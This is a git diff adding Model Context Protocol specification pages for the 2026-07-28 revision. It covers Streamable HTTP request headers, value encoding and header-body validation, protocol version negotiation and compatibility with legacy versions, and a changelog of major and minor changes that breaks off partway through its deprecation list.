+[Versioning: Protocol Version Negotiation][lifecycle-version]
+for the negotiation flow.
+
+If the server does not implement the requested RPC method, it **MUST** respond
+with `404 Not Found` and a JSON-RPC error with code `-32601`
+(`Method not found`). The JSON-RPC error body distinguishes this case from a
+`404` returned by a legacy [HTTP+SSE][http-sse] server that does not host the
+modern MCP endpoint (see [Backward Compatibility](#backward-compatibility)).
+
+A server that supports clients implementing protocol versions earlier than
+`2025-06-18` (which did not define the `MCP-Protocol-Version` header) **MAY**
+treat a request that omits the header as protocol version `2025-03-26`. A
+server that does not support such clients **MUST** reject a request without
+the header per [Server Validation](#server-validation).
+
+[unsupported-version]: /specification/2026-07-28/schema#unsupportedprotocolversionerror
+
+[lifecycle-version]: /specification/2026-07-28/basic/versioning#protocol-version-negotiation
+
+### Standard Request Headers
+
+| Header Name | Source Field | Required For |
+| ------------ | ----------------------------- | ------------------------------------------------------ |
+| `Mcp-Method` | `method` | All requests |
+| `Mcp-Name` | `params.name` or `params.uri` | `tools/call`, `resources/read`, `prompts/get` requests |
+
+These headers are **REQUIRED** for compliance.
+
+If the `Mcp-Name` source value cannot be safely represented as a plain ASCII
+header value, clients **MUST** encode it using the Base64 sentinel format
+described in [Value Encoding](#value-encoding).
+
+**`tools/call` request:**
+
+```http theme={null}
+POST /mcp HTTP/1.1
+Content-Type: application/json
+MCP-Protocol-Version: 2026-07-28
+Mcp-Method: tools/call
+Mcp-Name: get_weather
+
+{
+ "jsonrpc": "2.0",
+ "id": 1,
+ "method": "tools/call",
+ "params": {
+ "name": "get_weather",
+ "arguments": {
+ "location": "Seattle, WA"
+ },
+ "_meta": {
+ "io.modelcontextprotocol/protocolVersion": "2026-07-28",
+ "io.modelcontextprotocol/clientInfo": {
+ "name": "ExampleClient",
+ "version": "1.0.0"
+ },
+ "io.modelcontextprotocol/clientCapabilities": {}
+ }
+ }
+}
+```
+
+**`resources/read` request:**
+
+```http theme={null}
+POST /mcp HTTP/1.1
+Content-Type: application/json
+MCP-Protocol-Version: 2026-07-28
+Mcp-Method: resources/read
+Mcp-Name: file:///projects/myapp/config.json
+
+{
+ "jsonrpc": "2.0",
+ "id": 2,
+ "method": "resources/read",
+ "params": {
+ "uri": "file:///projects/myapp/config.json",
+ "_meta": {
+ "io.modelcontextprotocol/protocolVersion": "2026-07-28",
+ "io.modelcontextprotocol/clientInfo": {
+ "name": "ExampleClient",
+ "version": "1.0.0"
+ },
+ "io.modelcontextprotocol/clientCapabilities": {}
+ }
+ }
+}
+```
+
+### Custom Headers from Tool Parameters
+
+MCP servers **MAY** designate specific tool parameters to be mirrored into
+HTTP headers using an `x-mcp-header` extension property in the parameter's
+schema within the tool's `inputSchema`. See
+[Tool Definitions][tool-definitions] for
+details on how to annotate tool parameters.
+
+While the use of `x-mcp-header` is optional for servers, clients **MUST**
+support this feature. When a server's tool definition includes
+`x-mcp-header` annotations, conforming clients **MUST** mirror the
+designated parameter values into HTTP headers.
+
+[tool-definitions]: /specification/2026-07-28/server/tools#x-mcp-header
+
+#### Schema Extension
+
+The `x-mcp-header` property specifies the name portion used to construct
+the header name `Mcp-Param-{name}`.
+
+**Constraints on `x-mcp-header` values**:
+
+* **MUST NOT** be empty
+* **MUST** match HTTP field-name token syntax (`1*tchar`, [RFC 9110 Section 5.1](https://datatracker.ietf.org/doc/html/rfc9110#section-5.1))
+* **MUST NOT** contain control characters, including carriage return (CR, `\r`)
+ or line feed (LF, `\n`)
+* **MUST** be case-insensitively unique among all `x-mcp-header` values in
+ the `inputSchema`
+* **MUST** only be applied to parameters with primitive types (integer,
+ string, boolean). Parameters with type `number` are not permitted.
+ Integer values **MUST** be within the safe range for JavaScript
+ (−253+1 to 253−1)
+* **MUST** only be applied to properties that are *statically reachable*
+ from the schema root: reachable via a chain consisting solely of
+ `properties` keys. The chain **MUST NOT** pass through `items` (or any
+ other array keyword), composition keywords (`oneOf`, `anyOf`, `allOf`,
+ `not`), conditional keywords (`if`/`then`/`else`), or `$ref`. Nested
+ object properties are permitted as long as every step in the chain is a
+ `properties` key. An `x-mcp-header` annotation anywhere else makes the
+ annotation — and thus the tool definition — invalid.
+
+Header extraction is defined as reading the instance value at the exact
+property path of the annotated property (the chain of `properties` keys
+leading to it). If no value is present at that path in the call arguments,
+the header is omitted.
+
+Clients using the Streamable HTTP transport **MUST** reject tool definitions
+where any `x-mcp-header` value violates these constraints. Rejection means
+the client **MUST** exclude the invalid tool from the result of `tools/list`.
+Clients **SHOULD** log a warning when rejecting a tool definition, including
+the tool name and the reason for rejection. This ensures that a single
+malformed tool definition does not prevent other valid tools from being used.
+Clients using other transports (e.g., stdio) **MAY** ignore `x-mcp-header`
+annotations entirely.
+
+**Example tool definition:**
+
+```json theme={null}
+{
+ "name": "execute_sql",
+ "description": "Execute SQL on Google Cloud Spanner",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "region": {
+ "type": "string",
+ "description": "The region to execute the query in",
+ "x-mcp-header": "Region"
+ },
+ "query": {
+ "type": "string",
+ "description": "The SQL query to execute"
+ }
+ },
+ "required": ["region", "query"]
+ }
+}
+```
+
+**Resulting HTTP request:**
+
+```http theme={null}
+POST /mcp HTTP/1.1
+Content-Type: application/json
+MCP-Protocol-Version: 2026-07-28
+Mcp-Method: tools/call
+Mcp-Name: execute_sql
+Mcp-Param-Region: us-west1
+
+{
+ "jsonrpc": "2.0",
+ "id": 1,
+ "method": "tools/call",
+ "params": {
+ "_meta": {
+ "io.modelcontextprotocol/protocolVersion": "2026-07-28",
+ "io.modelcontextprotocol/clientInfo": {
+ "name": "ExampleClient",
+ "version": "1.0.0"
+ },
+ "io.modelcontextprotocol/clientCapabilities": {}
+ },
+ "name": "execute_sql",
+ "arguments": {
+ "region": "us-west1",
+ "query": "SELECT * FROM users"
+ }
+ }
+}
+```
+
+#### Value Encoding
+
+Clients **MUST** encode parameter values before including them in HTTP
+headers to ensure safe transmission and prevent injection attacks.
+
+**Type conversion**: Convert the parameter value to its string representation:
+
+* `string`: Use the value as-is
+* `integer`: Convert to decimal string representation (e.g., `42`, `-7`)
+* `boolean`: Convert to lowercase `"true"` or `"false"`
+
+Per [RFC 9110][rfc9110-values],
+HTTP header field values must consist of visible ASCII characters
+(0x21-0x7E), space (0x20), and horizontal tab (0x09). When a value cannot
+be safely represented as a plain ASCII header value (e.g., it contains
+non-ASCII characters, control characters, or has leading/trailing
+whitespace), clients **MUST** use Base64 encoding of the UTF-8
+representation with the following format:
+
+```text theme={null}
+Mcp-Param-{Name}: =?base64?{Base64EncodedValue}?=
+```
+
+The same encoding rule applies to the `Mcp-Name` header value. Tool and
+prompt names are only **SHOULD**-constrained to header-safe characters, so a
+name (or resource URI) outside the safe set is carried as:
+
+```text theme={null}
+Mcp-Name: =?base64?{Base64EncodedValue}?=
+```
+
+The prefix `=?base64?` and suffix `?=` indicate that the value is
+Base64-encoded. These markers are case-sensitive and **MUST** appear exactly
+as shown (lowercase). Servers and intermediaries that need to inspect these
+values **MUST** decode them accordingly. In particular, servers **MUST**
+decode an encoded `Mcp-Name` or `Mcp-Param-{Name}` value before comparing it
+to the corresponding request body value during
+[Server Validation](#server-validation).
+
+To avoid ambiguity, clients **MUST** also Base64-encode any plain-ASCII
+value that matches the sentinel pattern (i.e., starts with `=?base64?`
+and ends with `?=`).
+
+**Encoding examples:**
+
+| Original Value | Reason | Encoded Header Value |
+| ---------------------- | ------------------------ | ----------------------------------------------------- |
+| `"us-west1"` | Plain ASCII | `Mcp-Param-Region: us-west1` |
+| `"Hello, 世界"` | Contains non-ASCII | `Mcp-Param-Greeting: =?base64?SGVsbG8sIOS4lueVjA==?=` |
+| `" padded "` | Leading/trailing spaces | `Mcp-Param-Text: =?base64?IHBhZGRlZCA=?=` |
+| `"line1\nline2"` | Contains newline | `Mcp-Param-Text: =?base64?bGluZTEKbGluZTI=?=` |
+| `"=?base64?literal?="` | Matches sentinel pattern | `Mcp-Param-Val: =?base64?PT9iYXNlNjQ/bGl0ZXJhbD89?=` |
+
+[rfc9110-values]: https://datatracker.ietf.org/doc/html/rfc9110#name-field-values
+
+#### Client Behavior
+
+When constructing a `tools/call` request via HTTP transport, the client
+**MUST**:
+
+1. Extract the values for any standard headers from the request body (e.g.,
+ `method`, `params.name`, `params.uri`).
+2. Append the `Mcp-Method` header and, if applicable, `Mcp-Name` header to
+ the request.
+3. Inspect the tool's `inputSchema` for properties marked with
+ `x-mcp-header` and extract the value at each annotated property's exact
+ property path, omitting the header when no value is present (see
+ [Schema Extension](#schema-extension)).
+4. Encode the values according to the [Value Encoding](#value-encoding)
+ rules.
+5. Append a `Mcp-Param-{Name}: {Value}` header to the request.
+
+If the server rejects a request with a
+[`HeaderMismatch`](#server-validation) error because required
+`Mcp-Param-*` headers are missing or do not match the body, the client
+**SHOULD** call `tools/list` to check for changes to the tool's
+`inputSchema`, then retry the original request with the appropriate
+headers.
+
+#### Server Behavior for Custom Headers
+
+Intermediate servers that do not recognize an `Mcp-Param-{Name}` header
+**MUST** forward it and otherwise ignore it, as required by the
+[HTTP Semantics RFC][http-semantics].
+
+Servers **MUST** reject requests with a recognized `Mcp-Param-{Name}` header
+that contains invalid characters (see [Value Encoding](#value-encoding)).
+
+Any server that processes the message body **MUST** validate that encoded
+header values, after decoding if Base64-encoded, match the corresponding
+values in the request body. Servers **MUST** reject requests with a
+`400 Bad Request` HTTP status and JSON-RPC error code `-32020`
+(`HeaderMismatch`) if any validation fails.
+
+| Scenario | Client Behavior | Server Behavior |
+| ---------------------------------------- | ------------------------------ | ---------------------------------------- |
+| Parameter value provided | Client MUST include the header | Server MUST validate header matches body |
+| Parameter value is `null` | Client MUST omit the header | Server MUST NOT expect the header |
+| Parameter not in arguments | Client MUST omit the header | Server MUST NOT expect the header |
+| Client omits header but value is in body | Non-conforming client | Server MUST reject the request |
+
+[http-semantics]: https://www.rfc-editor.org/rfc/rfc9110.html#name-field-names
+
+### Case Sensitivity
+
+Header names (called "field names" in
+[RFC 9110][rfc9110-names])
+are case-insensitive. Clients and servers **MUST** use case-insensitive
+comparisons for header names. Header *values* (such as method names) are
+case-sensitive.
+
+[rfc9110-names]: https://datatracker.ietf.org/doc/html/rfc9110#name-field-names
+
+### Server Validation
+
+Servers that process the request body **MUST** reject requests where the
+values specified in the headers do not match the corresponding values in the
+request body. This prevents potential security vulnerabilities when
+different components in the network rely on different sources of truth
+(e.g., a load balancer routing on the header value while the MCP server
+executes based on the body value).
+
+
+ When validating integer parameter values, servers **SHOULD** compare the
+ header value and the body value numerically rather than as strings (e.g.,
+ `42.0` and `42` are considered equal).
+
+
+When rejecting a request due to header validation failure, servers **MUST**
+return HTTP status `400 Bad Request` and **MUST** include a JSON-RPC error
+response using the following error code:
+
+| Code | Name | Description |
+| -------- | ------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------- |
+| `-32020` | [`HeaderMismatch`](/specification/2026-07-28/schema#headermismatcherror) | The HTTP headers do not match the corresponding values in the request body, or required headers are missing/malformed. |
+
+This error code is allocated from the sub-range the MCP specification
+reserves for protocol-defined errors. See
+[Error Codes](/specification/2026-07-28/basic/index#error-codes).
+
+**Example error response:**
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 1,
+ "error": {
+ "code": -32020,
+ "message": "Header mismatch: Mcp-Name header value 'foo' does not match body value 'bar'"
+ }
+}
+```
+
+Validation failure conditions include:
+
+* A required standard header (`MCP-Protocol-Version`, `Mcp-Method`,
+ `Mcp-Name`) is missing.
+* A header value does not match the corresponding request body value.
+ For headers that permit the Base64 sentinel encoding (`Mcp-Name` and
+ `Mcp-Param-{Name}`), servers **MUST** decode encoded values (see
+ [Value Encoding](#value-encoding)) before comparing them to the body value.
+* A header value contains invalid characters.
+
+
+ Intermediaries **MUST** return an appropriate HTTP error status (e.g.,
+ `400 Bad Request`) for validation failures but are not required to return
+ a JSON-RPC error response.
+
+
+
+ Intermediaries that enforce policy based on mirrored headers (e.g., routing
+ or rate-limiting by tenant) **SHOULD** verify that the `MCP-Protocol-Version`
+ header indicates a version that requires header–body validation. If the
+ version is older or the header is absent, the intermediary **SHOULD** reject
+ the request rather than trusting unvalidated header values.
+
+
+## Backward Compatibility
+
+A client that supports both modern (per-request-metadata) MCP versions and a
+legacy version that requires an `initialize` handshake **MAY** detect which
+era the server implements by attempting a modern request first. On
+`400 Bad Request`, the client **SHOULD** inspect the response body before
+falling back: modern servers also use `400` for
+[`UnsupportedProtocolVersionError`][unsupported-version],
+`MissingRequiredClientCapabilityError`, and header-validation failures.
+
+* If the body contains a recognized modern JSON-RPC error, the server speaks
+ a modern version of MCP — retry using the advertised `supported` versions
+ or correct the request, rather than falling back.
+* If the body is empty or is not a recognized modern JSON-RPC error, fall
+ back to `initialize` and continue with the legacy version for subsequent
+ requests.
+
+See [Versioning: Backward Compatibility][lifecycle-compat] for the era model
+and a compatibility matrix for implementors.
+
+### Earlier Streamable HTTP Revisions
+
+Protocol versions `2025-03-26` through [`2025-11-25`](/specification/2025-11-25/basic/transports)
+also used the Streamable HTTP transport, but in a different shape: servers could assign a session via
+the `Mcp-Session-Id` header (terminated with HTTP DELETE), clients could open
+a standalone SSE stream with HTTP GET to receive server-initiated messages,
+servers could send JSON-RPC *requests* on SSE streams, and streams were
+resumable via `Last-Event-ID`. None of these mechanisms are part of this
+revision.
+
+A server that supports only this revision and receives such traffic from an
+older client **SHOULD** respond as follows:
+
+* HTTP GET or DELETE to the MCP endpoint: respond with
+ `405 Method Not Allowed`.
+* An `Mcp-Session-Id` header on a request: ignore it, and do not mint or echo
+ session IDs.
+* A `Last-Event-ID` header: ignore it; streams are not resumable.
+
+Servers and clients that need to interoperate with counterparts speaking
+those protocol versions implement the behavior described in the corresponding
+revision (for example,
+[2025-11-25: Streamable HTTP](/specification/2025-11-25/basic/transports#streamable-http)),
+in addition to the version-negotiation fallback described above.
+
+### HTTP+SSE Transport (2024-11-05)
+
+
+ **Deprecated**: The [HTTP+SSE transport][http-sse] from protocol version
+ 2024-11-05 has been deprecated since protocol version `2025-03-26` and is
+ classified as Deprecated under the [feature lifecycle
+ policy](/community/feature-lifecycle#deprecating-a-feature)
+ ([SEP-2596](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2596)).
+ New implementations **SHOULD NOT** adopt it; existing implementations
+ **SHOULD** migrate to [Streamable
+ HTTP](/specification/2026-07-28/basic/transports/streamable-http). It is
+ eligible for removal in a future revision; see the [deprecated features
+ registry](/specification/2026-07-28/deprecated).
+
+
+Clients and servers can maintain backward compatibility with the
+deprecated [HTTP+SSE transport][http-sse] (from
+protocol version 2024-11-05) as follows:
+
+**Servers** wanting to support older clients should:
+
+* Continue to host both the SSE and POST endpoints of the old transport,
+ alongside the new "MCP endpoint" defined for the Streamable HTTP transport.
+ * It is also possible to combine the old POST endpoint and the new MCP
+ endpoint, but this may introduce unneeded complexity.
+
+**Clients** wanting to support older servers should:
+
+1. Accept an MCP server URL from the user, which may point to either a server
+ using the old transport or the new transport.
+2. Attempt to POST a request to the server URL, with an `Accept` header as
+ defined above:
+ * If it succeeds, the client can assume this is a server supporting the
+ new Streamable HTTP transport.
+ * If it fails with HTTP status code `400 Bad Request`, `404 Not Found`,
+ or `405 Method Not Allowed` **and** the response body is not a
+ recognized modern JSON-RPC error (a modern server returns one for
+ unsupported version, unknown method, or header-validation failure):
+ * Issue a GET request to the server URL, expecting that this will open
+ an SSE stream and return an `endpoint` event as the first event.
+ * When the `endpoint` event arrives, the client can assume this is a
+ server running the old HTTP+SSE transport, and should use that
+ transport for all subsequent communication.
+
+[lifecycle-compat]: /specification/2026-07-28/basic/versioning#backward-compatibility-with-initialization-based-versions
diff --git a/content/mcp/specification/2026-07-28/basic/versioning.md b/content/mcp/specification/2026-07-28/basic/versioning.md
new file mode 100644
index 000000000..61cbb5884
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/basic/versioning.md
@@ -0,0 +1,185 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Versioning and Compatibility
+
+
+
+This page defines how a client and server agree on what they are speaking:
+the protocol version, declared on every request; optional extensions,
+negotiated through capabilities; and interoperability with earlier,
+handshake-based protocol revisions.
+
+There is no negotiation handshake. Every request carries its protocol
+version, and the server accepts or rejects each request independently:
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant Server
+
+ Client->>Server: request (with `_meta`)
+ alt server supports requested version
+ Server-->>Client: result
+ else version unsupported
+ Server-->>Client: UnsupportedProtocolVersionError
+ Note over Client,Server: Client retries with a mutually supported version
+ end
+```
+
+## Terminology
+
+This page uses the following terms for interoperability across protocol
+revisions:
+
+* **Modern**: protocol versions that convey version, identity, and
+ capabilities as per-request metadata (revision `2026-07-28` and later).
+* **Legacy**: protocol versions that establish a session with an
+ `initialize` handshake (`2025-11-25` and earlier).
+* **Dual-era**: an implementation that supports both modern and legacy
+ versions.
+
+## Protocol Version Negotiation
+
+Every request declares the protocol version it is using in its
+[`_meta`](/specification/2026-07-28/basic/index#meta) field. On HTTP, this is
+also carried in the
+[`MCP-Protocol-Version` header](/specification/2026-07-28/basic/transports/streamable-http#protocol-version-header).
+
+If the server does not implement the requested version (whether the version
+is unknown to the server, or is a known version the server has chosen not to
+support), it **MUST** respond with an
+[`UnsupportedProtocolVersionError`](/specification/2026-07-28/schema#unsupportedprotocolversionerror)
+listing the versions it does support:
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 1,
+ "error": {
+ "code": -32022,
+ "message": "Unsupported protocol version",
+ "data": {
+ "supported": ["2026-07-28", "2025-11-25"],
+ "requested": "1900-01-01"
+ }
+ }
+}
+```
+
+The client **SHOULD** select a mutually supported version from the `supported`
+list and retry the request, or surface an error to the user if no compatible
+version exists.
+
+Servers **MUST** implement
+[`server/discover`](/specification/2026-07-28/server/discover). Clients
+**MAY** call it before sending any other requests to learn the server's
+supported versions up front, but are not required to: a client is free to
+invoke any RPC inline and handle `UnsupportedProtocolVersionError` if its
+preferred version is not supported.
+
+## Extension Negotiation
+
+Clients and servers can negotiate support for optional
+[extensions](/docs/extensions/overview) beyond the core protocol. Extensions
+are advertised in the `extensions` field of capabilities, which is a map of
+extension identifiers to per-extension settings objects. Extension identifiers
+**MUST** follow the [`_meta` key naming rules](/specification/2026-07-28/basic/index#meta),
+with a mandatory prefix.
+
+The following is an example of a client that advertises the
+[MCP Apps extension](/extensions/apps/overview) identified as `io.modelcontextprotocol/ui`:
+
+```json theme={null}
+{
+ "capabilities": {
+ "roots": {},
+ "extensions": {
+ "io.modelcontextprotocol/ui": {
+ "mimeTypes": ["text/html;profile=mcp-app"]
+ }
+ }
+ }
+}
+```
+
+An example of [Tasks extension](/extensions/tasks/overview) identified as `io.modelcontextprotocol/tasks`:
+
+```json theme={null}
+{
+ "capabilities": {
+ "tools": {},
+ "extensions": {
+ "io.modelcontextprotocol/tasks": {}
+ }
+ }
+}
+```
+
+Each extension specifies the schema of its settings object; an empty object
+indicates support with no additional settings.
+
+If one party supports an extension but the other does not, the supporting
+party **MUST** either revert to core protocol behavior or reject the request
+with an appropriate error. Extensions **SHOULD** document their expected
+fallback behavior.
+
+## Backward Compatibility with Initialization-Based Versions
+
+A server that wishes to support both [legacy](#terminology) clients (which
+expect an `initialize` handshake) and [modern](#terminology) clients (which
+use per-request metadata) **MAY** implement both behaviors.
+
+A client that needs to interoperate with both kinds of servers detects the
+server's era with transport-specific mechanics, specified in the binding
+pages:
+
+* [stdio](/specification/2026-07-28/basic/transports/stdio#backward-compatibility):
+ probe with `server/discover` and fall back on any error that is not a
+ recognized modern error.
+* [Streamable HTTP](/specification/2026-07-28/basic/transports/streamable-http#backward-compatibility):
+ attempt a modern request and inspect the body of a `400 Bad Request`
+ before falling back.
+
+In both cases, a recognized modern JSON-RPC error (such as
+[`UnsupportedProtocolVersionError`](/specification/2026-07-28/schema#unsupportedprotocolversionerror))
+identifies a modern server: the client retries with a supported version
+rather than falling back. Anything else identifies a legacy server.
+
+The era determination is a property of the server, not of an individual
+request. Clients **SHOULD** cache the result for the lifetime of the server
+process (stdio) or origin (HTTP), and **MAY** persist it across restarts of
+the same server configuration, re-probing if the cached assumption later
+fails.
+
+A server that supports only [modern](#terminology) versions **SHOULD** name
+the protocol versions it supports in any error it returns to an `initialize`
+request, on any transport: legacy clients have no fall-forward mechanism, and
+this message may be the only diagnostic they can surface to users.
+
+### Compatibility Matrix
+
+The following matrix summarizes the expected outcome of every combination of
+client and server era:
+
+| Client | Server | Outcome |
+| -------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Modern | Modern | Works. `server/discover` is optional; version mismatches surface as `UnsupportedProtocolVersionError` and the client retries with a mutually supported version. |
+| Modern | Legacy | Fails. The server may reject the request with an implementation-defined error, stay silent, or even process an era-ambiguous method under legacy semantics. On stdio, clients **SHOULD** send `server/discover` first to fail deterministically; the client then surfaces an actionable error to the user. |
+| Dual-era | Modern | Works. The stdio probe returns a `DiscoverResult` (or `UnsupportedProtocolVersionError`); on HTTP, the first modern request succeeds or returns a modern error. The client stays modern. |
+| Dual-era | Legacy | Works. stdio: the probe returns a non-modern error or times out, and the client falls back to `initialize`. HTTP: the modern request returns a `4xx` without a recognized modern error body, and the client falls back to `initialize` (and possibly further to the deprecated HTTP+SSE transport). |
+| Legacy | Modern | Fails. stdio: the server rejects `initialize` with a JSON-RPC error; the exact code is implementation-defined (`initialize` is an unknown method and the request also lacks the required `_meta` fields). HTTP: the request is missing the required headers and is rejected per [server validation](/specification/2026-07-28/basic/transports/streamable-http#server-validation) with `400 Bad Request` (a client on the deprecated HTTP+SSE transport fails at its opening `GET` instead). Legacy clients have no fall-forward mechanism. |
+| Legacy | Dual-era | Works. The server answers `initialize` and serves the client according to the negotiated legacy revision. |
+| Legacy | Legacy | Works according to the legacy revision; out of scope for this document. |
+
+A dual-era **server** selects its behavior from how the client opens:
+
+* A request carrying modern per-request `_meta` is served statelessly
+ according to this revision.
+* An `initialize` request selects legacy semantics, scoped to the stdio
+ process (stdio) or the session (HTTP), as specified by the negotiated
+ legacy protocol version.
+
+A dual-era server **MAY** serve both eras concurrently on the same endpoint
+or process.
diff --git a/content/mcp/specification/2026-07-28/changelog.md b/content/mcp/specification/2026-07-28/changelog.md
new file mode 100644
index 000000000..9d532cfc6
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/changelog.md
@@ -0,0 +1,123 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Key Changes
+
+
+
+This document lists changes made to the Model Context Protocol (MCP) specification since
+the previous revision, [2025-11-25](/specification/2025-11-25).
+
+## Major changes
+
+1. Remove protocol-level sessions and the `Mcp-Session-Id` header from the Streamable HTTP transport. List endpoints (`tools/list`, `resources/list`, `prompts/list`) no longer vary per-connection. Servers that need cross-call state use explicit, server-minted handles passed as ordinary tool arguments ([SEP-2567](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2567)).
+
+2. Make MCP stateless: remove the `initialize`/`notifications/initialized` handshake. Every request now carries its protocol version and client capabilities in `_meta` (`io.modelcontextprotocol/protocolVersion`, `io.modelcontextprotocol/clientCapabilities`). Clients SHOULD identify themselves on each request (`io.modelcontextprotocol/clientInfo`), and servers SHOULD identify themselves in each result's `_meta` (`io.modelcontextprotocol/serverInfo`). Version mismatches return `UnsupportedProtocolVersionError` ([SEP-2575](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575)).
+
+3. Add `server/discover`: servers MUST implement this RPC to advertise their supported protocol versions, capabilities, and identity. Clients MAY call it before any other request for up-front version selection, or use it as a backward-compatibility probe on STDIO ([SEP-2575](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575)).
+
+4. Replace the HTTP GET endpoint and `resources/subscribe`/`resources/unsubscribe` with `subscriptions/listen`: a single long-lived POST-response stream for opted-in server-to-client change notifications. Clients opt in to specific types (`toolsListChanged`, `promptsListChanged`, `resourcesListChanged`, `resourceSubscriptions`); the server acknowledges and tags notifications with `io.modelcontextprotocol/subscriptionId`. Request-scoped notifications such as `notifications/progress` and `notifications/message` continue to flow on the response stream of the request they relate to, not the `subscriptions/listen` stream ([SEP-2575](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575)).
+
+5. Remove `ping`, `logging/setLevel`, and `notifications/roots/list_changed`. Log level is now set per-request via `io.modelcontextprotocol/logLevel` in `_meta`; servers MUST NOT emit `notifications/message` for requests that did not include this field ([SEP-2575](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575)).
+
+6. Move experimental tasks out of the core protocol and into an official extension (`io.modelcontextprotocol/tasks`). The redesigned extension replaces the blocking `tasks/result` method with polling via `tasks/get` and a new `tasks/update` for client-to-server input, removes `tasks/list`, and allows servers to return task handles unsolicited without per-request opt-in ([SEP-2663](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2663)).
+
+7. Multi Round-Trip Requests (MRTR) pattern introduced which replaces the previous approach of sending server-initiated requests, such as `roots/list`, `sampling/createMessage`, or `elicitation/create`. Servers return an `InputRequiredResult` (`resultType: "input_required"`) whose `inputRequests` field carries the requests for the additional information needed to process the request. Clients respond with `inputResponses` on a retry of the original request providing the requested information. ([SEP-2322](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2322)).
+
+8. All results now carry a required `resultType` field: `"complete"` for ordinary results and `"input_required"` for [multi round-trip request](/specification/2026-07-28/basic/patterns/mrtr) interim results. Clients **MUST** treat results from earlier-protocol servers that omit the field as `"complete"` ([SEP-2322](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2322)).
+
+9. Remove SSE stream resumability and message redelivery (the `Last-Event-ID` header and SSE event IDs) from the Streamable HTTP transport. A broken response stream loses the in-flight request; clients **MUST** re-issue it as a new request with a new request ID ([SEP-2575](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575)).
+
+## Minor changes
+
+1. Add `extensions` field to `ClientCapabilities` and `ServerCapabilities` to support optional [extensions](/docs/extensions/overview) beyond the core protocol.
+2. Document OpenTelemetry trace context propagation conventions for `_meta` keys (`traceparent`, `tracestate`, `baggage`) ([SEP-414](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/414)).
+3. Servers **SHOULD** return tools from `tools/list` in a deterministic order to enable client-side caching and improve LLM prompt cache hit rates.
+4. Require standard MCP request headers (`Mcp-Method`, `Mcp-Name`) on Streamable HTTP POST requests, and add support for custom headers from tool parameters via `x-mcp-header` ([SEP-2243](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2243)).
+5. Require `ttlMs` and `cacheScope` fields on results returned by `tools/list`, `prompts/list`, `resources/list`, `resources/read`, and `resources/templates/list` via a new `CacheableResult` interface. `ttlMs` is a freshness hint (in milliseconds) allowing clients to cache responses and reduce polling; `cacheScope` (`"public"` or `"private"`) controls whether shared intermediaries may cache the response. Both fields complement existing `listChanged` notifications ([SEP-2549](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2549)).
+6. Change resource not found error code from `-32002` to `-32602` (Invalid Params) to align with JSON-RPC specification.
+7. Authorization servers **SHOULD** include the `iss` parameter in authorization responses per
+ [RFC 9207](https://datatracker.ietf.org/doc/html/rfc9207), and MCP clients **MUST** validate a
+ present `iss` against the recorded issuer before redeeming the authorization code
+ ([SEP-2468](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2468)).
+8. Require MCP clients to specify an appropriate `application_type` during Dynamic Client
+ Registration to avoid OpenID Connect redirect URI conflicts
+ ([SEP-837](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/837)).
+9. Clarify that client credentials are bound to the authorization server that issued them:
+ clients **MUST** key persisted credentials by the issuer identifier, **MUST NOT** reuse them
+ with a different authorization server, and **MUST** re-register when the authorization server
+ changes ([SEP-2352](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2352)).
+10. Loosen `inputSchema` and `outputSchema` to allow any JSON Schema 2020-12 keywords, and
+ `structuredContent` to allow any JSON value. Add `$ref` resolution requirements and
+ composition-keyword resource bounds
+ ([SEP-2106](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2106)).
+11. Remove the `notifications/elicitation/complete` notification and the
+ `elicitationId` field of URL mode elicitation requests, both introduced in
+ `2025-11-25`. Under the
+ [Multi Round-Trip Requests](/specification/2026-07-28/basic/patterns/mrtr) pattern, the
+ client learns the outcome of an out-of-band interaction by retrying the original
+ request, so a server-initiated completion signal — and the identifier used to
+ correlate it — no longer fit the protocol. Servers needing to correlate an
+ elicitation across retries encode their own identifier in `requestState`.
+12. Define an [error code allocation policy](/specification/2026-07-28/basic/index#error-codes)
+ partitioning the JSON-RPC server-error range: `-32000` to `-32019` remains
+ implementation-defined (existing SDK usage is grandfathered), `-32020` to `-32099` is
+ reserved for the MCP specification. Renumber the error codes introduced in this draft
+ accordingly — `HeaderMismatch` `-32001` → `-32020`, `MissingRequiredClientCapability`
+ `-32003` → `-32021`, `UnsupportedProtocolVersion` `-32004` → `-32022` — and add
+ `HeaderMismatchError` to the schema, which previously existed only in transport prose.
+
+## Deprecated
+
+Features listed here remain part of the specification but are scheduled for removal under the [feature lifecycle and deprecation policy](/community/feature-lifecycle). New implementations should not adopt them. The [deprecated features registry](/specification/2026-07-28/deprecated) tracks every feature currently in the Deprecated state.
+
+1. Deprecate the Roots, Sampling, and Logging features
+ ([SEP-2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577)).
+ These features remain fully functional during the deprecation window but new
+ implementations should not add support for them. Suggested migrations: pass
